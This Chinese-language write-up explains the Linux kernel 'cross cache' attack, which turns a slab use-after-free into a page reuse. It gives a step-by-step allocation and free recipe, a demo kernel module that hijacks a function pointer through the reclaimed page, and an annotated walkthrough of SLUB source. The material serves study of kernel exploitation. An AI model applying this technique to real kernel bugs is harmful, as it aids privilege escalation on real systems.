Cross cache Attack技术细节分析
Cross cache Attack技术细节分析 技术步骤 需要先释放slab page 然后从伙伴系统从取出完成跨缓存攻击 先需要了解:每个slab中的object数量和object 大小,包括cpu_partial这个阈值很重要,之后源码分析的时候会重点分析。 根据下图的一个大致步骤就能把独立的slab释放到buddy system 中,然后从buddy 中申请出来完成跨缓存攻击。 详细分析
Cross cache Attack技术细节分析
技术步骤
需要先释放slab page 然后从伙伴系统从取出完成跨缓存攻击
先需要了解:每个slab中的object数量和object 大小,包括cpu_partial这个阈值很重要,之后源码分析的时候会重点分析。
根据下图的一个大致步骤就能把独立的slab释放到buddy system 中,然后从buddy 中申请出来完成跨缓存攻击。

详细分析步骤流程
第一步 => 申请:(cpu_partial+1) * objs_per_slab
因为在slab中可能会已经存在一下object,所以申请(13+1)*objs_per_slab的object后会占有14个slabs,第15个slab会不满。

第二步 => 申请:objs_per_slab-1 个objects
主要目的是超过cpu_partial的一个阈值,所以还要继续申请满一个slab 然后后面的一个slab不要满就行

第三步 => 申请:一个 object (UAF )
这样申请的uaf object就会存在第16个slab中,然后我们继续让这个slab满载

第四步 => 申请: objs_per_slab + 1
让uaf object存在的page页都被申请完就可以

第五步 => 释放: uaf object
这个时候释放uaf object,因为所在的slab是满的,会触发put_cpu_partial(),挂载到partial链上,但是因为没有达到cpu_partial_list的阈值,所以现在不会进行unfreeze_partials()处理。

第六步 => 释放:uaf object的page 的所有 object
在第一次释放uaf object的时候slab就属于未满状态,会触发put_cpu_partial(),挂载到partial链上,所以之后直到空都不会有其他挂链的操作。

第七步 => 释放:1-14slabs中各一个object
这个时候因为都会成为未满的状态,每个page都会触发put_cpu_partial(),然后每个page都会挂载到partial链上,因为cpu_partial==13,就会导致后面几次调用put_cpu_partial()想要的时候,发现cpu_partial_list满了,就会进入unfreeze_partials(),然后发现第16个slab已经为空状态,就会调用discard_slab()将这个page释放。

demo
写了个kernel demo演示 cross page attack的完整过程:mowenroot/Kernel

测试内核版本5.15.0-122
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/slub_def.h>
#define OBJECT_SIZE 0x200
#define OBJS 1024
#define OO_SHIFT 16 // 定义位移
#define OO_MASK ((1 << OO_SHIFT) - 1)
struct demo_struct
{
union
{
char data[OBJECT_SIZE];
struct
{
void (*func)(void);
char padding [OBJECT_SIZE-8];
};
};
}__attribute__((aligned(OBJECT_SIZE)));
static struct kmem_cache *my_cache_ptr;
struct demo_struct **ds_list;
struct demo_struct *ds_tmp;
void hello_func(void){
printk("() => hello func");
}
void hack_func(void){
printk("() => hack func : cross page attack success");
}
static int demo_init(void){
unsigned int cpu_partial,objs_per_slab;
static unsigned int ds_sp=0;
int i,uaf_obj_index,page_order;
unsigned long page_size;
struct demo_struct* uaf_object,*random_ms;
void* target_page_virt,*realloc_page_virt;
struct page* realloc_page;
printk("\ndemo attack start\n");
ds_list = kmalloc(sizeof(struct demo_struct *)*OBJS,GFP_KERNEL|__GFP_ZERO);
/*
kmem_cache_create 用于 linux 内核中创建内存缓存
name = 缓存名称 , size = 每个对象的大小
align 对齐要求,默认0对齐 ,
flags 缓存标志 SLAB_HWCACHE_ALIGN 对象在高速缓存中对齐
SLAB_PANIC 分配失败时panic
SLAB_ACCOUNT 内存计数
constructor 构造函数
*/
my_cache_ptr = kmem_cache_create(
"demo_struc",sizeof(struct demo_struct),0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT,NULL);
cpu_partial=my_cache_ptr->cpu_partial;
objs_per_slab=my_cache_ptr->oo.x & OO_MASK;
page_size=objs_per_slab*(my_cache_ptr->object_size);
page_order = get_order(page_size);
printk("cache info:");
printk(">>cache name -> %s\n",my_cache_ptr->name);
printk(">>objs_per_slab -> %u\n",objs_per_slab);
printk(">>object_size -> 0x%x\n",my_cache_ptr->object_size);
printk(">>cpu_partial -> %u\n",cpu_partial);
printk(">>page_size:0x%lx -> page_order:%d\n",page_size,page_order);
random_ms =kmem_cache_alloc(my_cache_ptr,GFP_KERNEL);
printk("Alloc a random object at %p\n",random_ms);
kmem_cache_free(my_cache_ptr,random_ms);
printk("\n===================STEP 1===================");
printk("Alloc : (cpu_partial+1) * objs_per_slab objects");
printk("Alloc : %u * %u == %u\n",cpu_partial+1,objs_per_slab,(cpu_partial+1)*objs_per_slab);
/* kmem_cache_alloc 分配从指定内存缓存中分配内存 */
for (i = 0; i < (cpu_partial+1)*objs_per_slab; i++)
{
ds_list[ds_sp++]=kmem_cache_alloc(my_cache_ptr,GFP_KERNEL);
}
printk("\n===================STEP 2===================");
printk("Alloc : objs_per_slab+1(%u) objects\n",objs_per_slab+1);
for ( i = 0; i < objs_per_slab+1; i++)
{
ds_list[ds_sp++]=kmem_cache_alloc(my_cache_ptr,GFP_KERNEL);
}
printk("\n===================STEP 3===================");
printk("Alloc : uaf object");
uaf_object=kmem_cache_alloc(my_cache_ptr,GFP_KERNEL);
uaf_obj_index=ds_sp++;
ds_list[ds_sp]=uaf_object;
target_page_virt=(void*)((unsigned long)uaf_object & ~(unsigned long)(page_size - 1));
printk(">> uaf object index: %d", uaf_obj_index);
printk(">> uaf object at %px, page: %px", uaf_object, target_page_virt);
printk(">> set function pointer to hello() and call it\n");
uaf_object->func=hello_func;
uaf_object->func();
printk("\n===================STEP 4===================");
printk("Alloc : objs_per_slab+1(%u) objects\n",objs_per_slab+1);
for ( i = 0; i < objs_per_slab+1; i++)
{
ds_list[ds_sp++]=kmem_cache_alloc(my_cache_ptr,GFP_KERNEL);
}
printk("\n===================STEP 5===================");
printk("Free : uaf object");
kmem_cache_free(my_cache_ptr,uaf_object);
printk("\n===================STEP 6===================");
printk("Free : make uaf object is empty");
for ( i = 1; i < objs_per_slab ; i++)
{
kmem_cache_free(my_cache_ptr,ds_list[uaf_obj_index+i]);
kmem_cache_free(my_cache_ptr,ds_list[uaf_obj_index-i]);
ds_list[uaf_obj_index+i]=NULL;
ds_list[uaf_obj_index-i]=NULL;
}
printk("\n===================STEP 7===================");
printk("Free : free one object per page\n");
for (i = 0; i < (cpu_partial+1)*objs_per_slab ; i+=objs_per_slab)
{
if(ds_list[i]){
kmem_cache_free(my_cache_ptr,ds_list[i]);
ds_list[i]=NULL;
}
}
printk("let's check if we can get the target page ...");
/* alloc_pages 用于分配物理页面
order:指定要分配的页面数量,
实际分配的内存大小为 PAGE_SIZE << order(即 PAGE_SIZE * 2^order)
*/
realloc_page=alloc_pages(GFP_KERNEL,page_order);
realloc_page_virt = page_address(realloc_page);
printk("realloc page at %px\n", realloc_page_virt);
printk("target page at %px\n", target_page_virt);
if(realloc_page_virt==target_page_virt){
printk("realloc SUCCESS :)");
}else{
printk("cross page attack failed :(");
return -1;
}
printk("assume we has the ability to overwrite the content of page");
for (i = 0; i < page_size / 8; i++) {
((void **)realloc_page_virt)[i] = (void *)hack_func;
}
printk("now, let's call func again (UAF)");
uaf_object->func();
free_page((unsigned long)realloc_page);
return 0;
}
static void demo_exit(void){
int i;
for ( i = 0; i < OBJS; i++)
{
if(ds_list[i]){
kmem_cache_free(my_cache_ptr,ds_list[i]);
}
}
kmem_cache_destroy(my_cache_ptr);
kfree(my_cache_ptr);
printk("bye");
}
module_init(demo_init);
module_exit(demo_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("X++D && veritas && mowen");
MODULE_DESCRIPTION("Cross page demo");
MODULE_VERSION("0.1");
源码分析
kmem_cache_free()和slab_free()进行释放的时候最终都会调用slab_free()进行进一步释放。
//>>mm\slub.c
void kfree(const void *x)
{
struct page *page;
void *object = (void *)x;
//...
//取出object 所在的page
page = virt_to_head_page(x);
if (unlikely(!PageSlab(page))) {
//如果不是slab 的page
//...
return;
}
slab_free(page->slab_cache, page, object, NULL, 1, _RET_IP_);
}
slab_free()是do_slab_free()的封装函数,do_slab_free()中会有一个cpu快速释放的动作,如果当前object的page为cpu active page,就会直接插入到链表头部,否则调用__slab_free(),我们这里需要走进__slab_free()
//>>mm\slub.c
/*
* Fastpath with forced inlining to produce a kfree and kmem_cache_free that
* can perform fastpath freeing without additional function calls.
*
* The fastpath is only possible if we are freeing to the current cpu slab
* of this processor. This typically the case if we have just allocated
* the item before.
*
* If fastpath is not possible then fall back to __slab_free where we deal
* with all sorts of special processing.
*
* Bulk free of a freelist with several objects (all pointing to the
* same page) possible by specifying head and tail ptr, plus objects
* count (cnt). Bulk free indicated by tail pointer being set.
*/
//静态强制内联
static __always_inline void do_slab_free(struct kmem_cache *s,
struct page *page, void *head, void *tail,
int cnt, unsigned long addr)
{
void *tail_obj = tail ? : head;
struct kmem_cache_cpu *c;
unsigned long tid;
//...
//检查释放的页面 是否于 当前cpu的slab页相同
if (likely(page == c->page)) {
//快速路径释放
void **freelist = READ_ONCE(c->freelist);
//获取cpu空闲链表 直接插入链表头部
set_freepointer(s, tail_obj, freelist);
//...
} else
__slab_free(s, page, head, tail_obj, cnt, addr);
__slab_free()会判断当前page是否已经在partial 链中或者为 active page 会直接释放object进入free lsit,否则会调用put_cpu_partial(),调用put_cpu_partial()就需要满足,之前page为满状态并且为 not active 然后释放了一个object。那么在这里我们需要的是释放page进put_cpu_partial()然后超过cpu_partial阈值的一个操作,就需要重复很多次这个操作。
//>>mm\slub.c
static void __slab_free(struct kmem_cache *s, struct page *page,
void *head, void *tail, int cnt,
unsigned long addr)
{
void *prior;
int was_frozen;
struct page new;
unsigned long counters;
struct kmem_cache_node *n = NULL;
unsigned long flags;
//...
prior = page->freelist;
counters = page->counters;
set_freepointer(s, tail, prior);
new.counters = counters;
//frozen 是指page 在 parial list 中
was_frozen = new.frozen;
new.inuse -= cnt;
/*
如果page是满的状态,那就没有freelist,既prior==NULL,
并且满状态也不会存在于partial中,所以 was_frozen == 0
*/
if ((!new.inuse || !prior) && !was_frozen) {
if (kmem_cache_has_cpu_partial(s) && !prior) {
/*
* Slab was on no list before and will be
* partially empty
* We can defer the list move and instead
* freeze it.
*/
new.frozen = 1;
//走到这边之后会调用 put_cpu_partial()
}
//...
}
} while (!cmpxchg_double_slab(s, page,
prior, counters,
head, new.counters,
"__slab_free"));
if (likely(!n)) {
//如果page之前就是 在 parial list 中,那么平时大部分情况都会进入这里
if (likely(was_frozen)) {
/*
* The list lock was not taken therefore no list
* activity can be necessary.
*/
stat(s, FREE_FROZEN);
//只有当 为满状态情况下 然后 释放了一个object 需要加入得到 parial list 进入
} else if (new.frozen) {
/*
* If we just froze the page then put it onto the
* per cpu partial list.
*/
put_cpu_partial(s, page, 1);
stat(s, CPU_PARTIAL_FREE);
}
return;
}
//...
}
进入put_cpu_partial()后,会判断当前partial链表的长度是否超过了cpu_partial,如果超过就会进入unfreeze_partials(),做释放page的操作,再没有超过阈值的情况下还是会把page加入到partial list 中。
//>>mm\slub.c
static void put_cpu_partial(struct kmem_cache *s, struct page *page, int drain)
{
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct page *oldpage;
int pages;
int pobjects;
preempt_disable();
do {
pages = 0;
pobjects = 0;
oldpage = this_cpu_read(s->cpu_slab->partial);
if (oldpage) {
// pobjects 为 当前 partial链表的长度
pobjects = oldpage->pobjects;
pages = oldpage->pages;
//超出 cpu_partial 阈值 就会 调用unfreeze_partials()
if (drain && pobjects > slub_cpu_partial(s)) {
unsigned long flags;
/*
* partial array is full. Move the existing
* set to the per node partial list.
*/
local_irq_save(flags);
unfreeze_partials(s, this_cpu_ptr(s->cpu_slab));
//...
}
}
//加入 partial list
pages++;
pobjects += page->objects - page->inuse;
page->pages = pages;
page->pobjects = pobjects;
page->next = oldpage;
//更新page
} while (this_cpu_cmpxchg(s->cpu_slab->partial, oldpage, page)
!= oldpage);
//...
}
unfreeze_partials()中也会有插入partial链的操作,如果想要把当前page加入到discard_page中后销毁的,就需要满足page 为空(还有一个条件基本上都满足)
static void unfreeze_partials(struct kmem_cache *s,
struct kmem_cache_cpu *c)
{
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct kmem_cache_node *n = NULL, *n2 = NULL;
struct page *page, *discard_page = NULL;
//循环取出page
while ((page = slub_percpu_partial(c))) {
struct page new;
struct page old;
slub_set_percpu_partial(c, page);
n2 = get_node(s, page_to_nid(page));
if (n != n2) {
if (n)
spin_unlock(&n->list_lock);
n = n2;
spin_lock(&n->list_lock);
}
do {
old.freelist = page->freelist;
old.counters = page->counters;
VM_BUG_ON(!old.frozen);
//拷贝旧属性
new.counters = old.counters;
new.freelist = old.freelist;
// frozen
new.frozen = 0;
//旧状态更新到新page
} while (!__cmpxchg_double_slab(s, page,
old.freelist, old.counters,
new.freelist, new.counters,
"unfreezing slab"));
// new page 为空 并且 节点的nr_partial大于等于 min_partial
if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {
//加入到销毁链中
page->next = discard_page;
discard_page = page;
} else {
//否则 添加到 partial 链中
add_partial(n, page, DEACTIVATE_TO_TAIL);
stat(s, FREE_ADD_PARTIAL);
}
}
if (n)
spin_unlock(&n->list_lock);
//销毁 page
while (discard_page) {
//循环单链表取出每个page
page = discard_page;
discard_page = discard_page->next;
stat(s, DEACTIVATE_EMPTY);
//释放操作
discard_slab(s, page);
stat(s, FREE_SLAB);
}
#endif /* CONFIG_SLUB_CPU_PARTIAL */
}
discard_slab()调用链如下,最终调用__free_pages()释放page。
discard_slab()
free_slab()
rcu_free_slab()
__free_slab()
__free_pages()
这就是cross page attack的目的所在,释放了独立的page,然后向伙伴系统申请page的时候就能跨缓存攻击。
参考链接:
Linux 内核利用技巧: Slab UAF to Page UAF-安全客 - 安全资讯平台
CVE-2021–20226:一个参考计数错误,可导致 io_uring 中的本地权限升级。|作者 Flatt Security Inc. |中等